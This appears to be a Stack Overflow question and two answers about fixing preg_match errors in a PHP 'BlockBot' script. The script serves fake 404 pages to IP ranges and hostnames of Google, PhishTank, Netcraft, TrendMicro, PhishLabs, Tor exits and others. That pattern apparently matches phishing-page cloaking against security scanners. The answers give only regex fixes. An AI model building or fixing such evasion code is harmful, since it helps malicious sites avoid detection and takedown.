2

This is my full BlockBot.php

<?
$bannedIP = array("^50.116.25.17", "^124.178.234.95", "^174.122.201.154", "^66.102.*.*", "^66.249.*.*", "^72.14.192.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*", "^91.103.66.*", "^208.91.115.*");
$blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit", "msnbot","p3pwgdsn","netcraft","trendmicro","phishlabs");
//----------------------++
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
foreach($blocked_words as $word) {
    if (substr_count($hostname, $word) > 0) {
        header("HTTP/1.0 404 Not Found");
        die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
        exit();
    }  
}
//----------------------++
if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {
     header('HTTP/1.0 404 Not Found');
     exit();
} else {
     foreach($bannedIP as $ip) {
          if(preg_match($ip,$_SERVER['REMOTE_ADDR'])) {
               header('HTTP/1.0 404 Not Found');
               die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
               exit();
          }
     }
}
?>

ErrorLog.txt

PHP Warning: preg_match(): No ending delimiter '^' found in /home/SITES/SITES/BlockBot.php on line 33

ErrorLog.txt

PHP Warning: preg_match(): Delimiter must not be alphanumeric or backslash in /home/SITES/SITES/BlockBot.php on line 33

Someone please help me to fix this in full of my code or tell me how to fix this.

Thans alot before.

Wanleeyaww
  • 29
  • 1
  • 3

2 Answers2

0

You have to escape special characters from IP list.Other-wise regular expression fails due to special characters (dot is a special character). Also, you can`t put * in ip list which will match "*" Example :

$bannedIP = array("/50\.116\.25\.17/", "/124\.178\.234\.95/", "/174\.122\.201\.154/","/212\.143\.*\.*/");

OR

$bannedIP = array("/50\.116\.25\.17/", "/124\.178\.234\.95/", "/174\.122\.201\.154/","/212\.143\.\d{1,3}\.\d{1,3}/");
User123456
  • 2,492
  • 3
  • 30
  • 44
0

The first character of a string used as a regular expression is seen as the delimiter, and PHP will look for its match to know when the regular expression stops and the flags start.

By convention this delimiter is often a /, but it doesn't have to be; you can start with "any non-alphanumeric, non-backslash, non-whitespace character". If you use a character as a delimiter that has a natural pair (e.g., a [) PHP will look for the closing character to the pair (e.g., ]). Otherwise, it will look for the same character.

In your case, you are using a string that starts with ^ as a regular expression (in your preg_match() call) but you are not providing the corresponding closing delimiter (^) at the end of the string, which is what the PHP error is complaining about.

Your array (looking at the first two elements) should then be:

$bannedIP = array("^50.116.25.17^", "^124.178.234.95^");

so that it contains matching delimiters. However, I think you were probably trying to anchor the matches at the beginning of the string, in which case you would need to supply different delimiters (in my example I'm using /). If you're specifying an anchor at the beginning, I assume you also want to specify an anchor at the end (the $ character, when used as the last character of a regular expression):

$bannedIP = array("/^50.116.25.17$/", "/^124.178.234.95$/");

You will want to mix in the suggestions from BRjava: escaping the . characters so they match a literal dot, and also match on a sequence of 1–3 digits, rather than the * character (which means "repeat the last character as many times as you can"):

$bannedIP = array("/^50\.116\.25\.17$/", "/^124\.178\.234\.95$/", "/^212\.143\.\d{1,3}\.\d{1,3}$/");

Finally, you are using your $bannedIP array in two incompatible contexts; searching for matching values with in_array() which will do a string comparison, and matching with preg_match() which will do a regular expression match. You'll want to stick with one format or the other, as the preg_match() calls will fail if you have an array that has strings that aren't meant to be used as regular expressions.

joel boonstra
  • 425
  • 3
  • 12